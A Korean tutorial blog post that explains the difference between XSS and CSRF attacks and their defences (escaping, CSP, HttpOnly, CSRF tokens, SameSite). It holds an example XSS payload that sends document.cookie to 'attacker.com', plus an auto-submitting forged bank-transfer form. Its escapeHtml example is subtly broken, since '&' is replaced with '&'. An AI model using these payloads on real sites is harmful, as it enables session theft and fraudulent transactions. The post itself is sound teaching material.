XSS와 CSRF — 헷갈리는 두 공격, 무엇이 다른가

XSS와 CSRF. 이름도 비슷하고 둘 다 웹 보안 공격이라 항상 헷갈린다. 하지만 공격 방향도, 대응 방법도 정반대다. 두 공격의 차이를 명확히 가르고, 각각의 동작 원리와 방어법을 코드로 정리한다.

---

들어가며

웹 보안을 공부하면 XSS와 CSRF가 거의 세트로 등장한다. 이름도 알파벳 네 글자로 비슷하고, 둘 다 웹 공격이라 헷갈리기 쉽다. 하지만 이 둘은 공격하는 방향이 정반대다.

XSS는 "사용자를 속여 악성 스크립트를 실행시키는" 공격이고, CSRF는 "사용자의 인증 정보를 도용해 서버를 속이는" 공격이다.

한 문장으로 차이를 잡으면 이렇다.

	XSS	CSRF
풀네임	Cross-Site Scripting	Cross-Site Request Forgery
속이는 대상	사용자(브라우저)	서버
핵심	악성 스크립트를 실행시킴	위조된 요청을 보냄
공격자가 얻는 것	쿠키·세션 탈취, 정보 유출	사용자 권한으로 행동 수행
OWASP 분류	인젝션 계열	접근 제어/위조 계열

이 글에서는 각각의 동작 원리와 대응을 코드와 함께 본다. 예시는 일반적인 웹 환경 기준이다.

---

XSS (Cross-Site Scripting)

XSS는 공격자가 악성 스크립트를 웹페이지에 심어, 다른 사용자의 브라우저에서 실행시키는 공격이다. 핵심은 "사용자 입력을 검증 없이 화면에 그대로 출력"할 때 뚫린다는 점이다.

어떻게 공격하나

게시판 댓글 입력란을 떠올려보자. 공격자가 댓글에 이런 걸 적는다.

<script>
  // 방문자의 쿠키를 공격자 서버로 전송
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

이 댓글이 검증 없이 저장되고, 다른 사용자가 그 게시글을 열면 그 사용자의 브라우저에서 스크립트가 실행된다. 결과적으로 방문자의 세션 쿠키가 공격자에게 넘어가고, 공격자는 그 쿠키로 로그인을 가로챌 수 있다.

XSS의 종류

종류	설명
Stored XSS	악성 스크립트가 DB에 저장됨 (댓글, 게시글). 가장 위험
Reflected XSS	URL 파라미터 등에 담긴 스크립트가 즉시 반사되어 실행
DOM-based XSS	서버를 거치지 않고 클라이언트 JS가 DOM을 조작하며 발생

대응: 출력 시 이스케이프 + 입력 검증

핵심 방어는 사용자 입력을 화면에 출력할 때 HTML로 해석되지 않게 이스케이프(escape) 하는 것이다.

// 취약: 입력을 그대로 innerHTML에 — 스크립트가 실행된다
element.innerHTML = userInput;

// 대응 1: textContent 사용 — 텍스트로만 취급, 실행 안 됨
element.textContent = userInput;

// 대응 2: 출력 시 특수문자 이스케이프
function escapeHtml(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

<script>가 <script>로 바뀌면, 브라우저는 이를 코드가 아니라 그냥 텍스트로 보여준다. 실행되지 않는 것이다.

추가 방어 수단도 있다.

<!-- Content-Security-Policy: 허용된 출처의 스크립트만 실행 -->
<meta http-equiv="Content-Security-Policy"
      content="script-src 'self'">

Set-Cookie: session=abc123; HttpOnly; Secure

HttpOnly 쿠키는 JavaScript에서 document.cookie로 접근할 수 없다. XSS가 발생해도 쿠키 탈취만큼은 막을 수 있다. React·Vue 같은 최신 프레임워크는 기본적으로 출력을 이스케이프하므로, dangerouslySetInnerHTML 같은 우회로만 조심하면 상당 부분 안전하다.

---

CSRF (Cross-Site Request Forgery)

CSRF는 정반대 방향이다. 공격자가 로그인된 사용자의 권한을 도용해, 사용자가 의도하지 않은 요청을 서버에 보내게 만드는 공격이다.

어떻게 공격하나

핵심 전제는 "브라우저가 요청을 보낼 때 해당 도메인의 쿠키를 자동으로 첨부한다"는 점이다. 사용자가 은행 사이트에 로그인한 상태라고 하자. 공격자가 이런 페이지를 만들어 사용자가 방문하게 유도한다.

<!-- 공격자 사이트에 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('f').submit();</script>  <!-- 자동 전송 -->

사용자가 이 페이지를 여는 순간, 브라우저는 bank.com으로 송금 요청을 보낸다. 그리고 브라우저가 자동으로 은행 세션 쿠키를 첨부하기 때문에, 은행 서버는 이걸 정상적인 로그인 사용자의 요청으로 받아들인다. 사용자는 클릭 한 번 한 적 없는데 돈이 빠져나간다.

XSS와 달리 공격자는 응답을 볼 수도 없고 스크립트를 심을 필요도 없다. 그저 사용자의 인증된 세션을 빌려 요청을 위조할 뿐이다.

대응: CSRF 토큰 + SameSite 쿠키

가장 표준적인 방어는 CSRF 토큰이다. 서버가 페이지를 줄 때 예측 불가능한 토큰을 함께 발급하고, 요청이 올 때 그 토큰이 있는지 검증한다.

<!-- 서버가 폼에 심어주는 CSRF 토큰 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="a8f3c9b2-...">
  <input type="text" name="amount">
</form>

공격자 사이트는 이 토큰 값을 알 수 없으므로(다른 출처라 읽지 못함), 위조 요청에는 올바른 토큰을 담을 수 없다. 서버는 토큰이 없거나 틀린 요청을 거부한다.

// Spring Security는 CSRF 보호가 기본 활성화돼 있다
http.csrf(csrf -> csrf
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);

더 간단하고 강력한 현대적 방어는 SameSite 쿠키 속성이다.

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict(또는 Lax)는 다른 사이트에서 시작된 요청에는 쿠키를 첨부하지 않게 한다. 그러면 공격자 사이트에서 보낸 요청에는 세션 쿠키가 붙지 않아, CSRF 자체가 성립하지 않는다. 요즘 브라우저는 Lax를 기본값으로 적용해서 기본 방어력이 올라갔다.

---

한눈에 비교

두 공격을 나란히 놓으면 차이가 분명해진다.

	XSS	CSRF
공격 방향	사용자(브라우저)를 공격	서버를 공격
무엇을 심나	악성 스크립트	위조된 요청
전제 조건	입력 검증/이스케이프 미흡	쿠키 자동 첨부 + 세션 유지
공격자 능력	스크립트 실행, 정보 탈취	사용자 권한으로 행동
주요 대응	출력 이스케이프, CSP, HttpOnly	CSRF 토큰, SameSite 쿠키
프레임워크 기본 방어	React/Vue 자동 이스케이프	Spring Security 기본 활성화

흥미로운 건 둘이 연결되기도 한다는 점이다. XSS가 뚫리면 CSRF 방어(토큰)도 무력화될 수 있다. 악성 스크립트가 페이지 안에서 CSRF 토큰을 읽어버리면, SameSite도 같은 사이트라 우회되기 때문이다. 그래서 XSS 방어가 더 근본적이라고 본다.

---

마치며

이름이 비슷해 헷갈리지만, 방향을 잡으면 명확하다. XSS는 사용자를 속이고, CSRF는 서버를 속인다. XSS는 입력을 출력할 때 이스케이프하는 게 핵심이고, CSRF는 요청이 정말 우리 사이트에서 시작됐는지 검증(토큰·SameSite)하는 게 핵심이다.

다행히 요즘은 프레임워크가 기본 방어를 많이 해준다. React는 출력을 자동 이스케이프하고, Spring Security는 CSRF 보호가 기본이며, 브라우저는 SameSite를 기본 적용한다. 하지만 dangerouslySetInnerHTML로 우회하거나, CSRF 보호를 무심코 꺼버리는 순간 다시 뚫린다. 기본 방어가 왜 거기 있는지를 알아야, 그걸 끌 때 무슨 위험을 감수하는지도 안다.

웹 보안의 첫걸음은 "사용자 입력은 절대 믿지 않는다"는 태도다. XSS도 CSRF도, 결국 신뢰하면 안 될 것을 신뢰해서 생기는 문제다.

---

참고 출처

• OWASP: Cross Site Scripting (XSS) — https://owasp.org/www-community/attacks/xss/
• OWASP: Cross Site Request Forgery (CSRF) — https://owasp.org/www-community/attacks/csrf
• MDN: SameSite cookies — https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
• OWASP Cheat Sheet: XSS Prevention — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html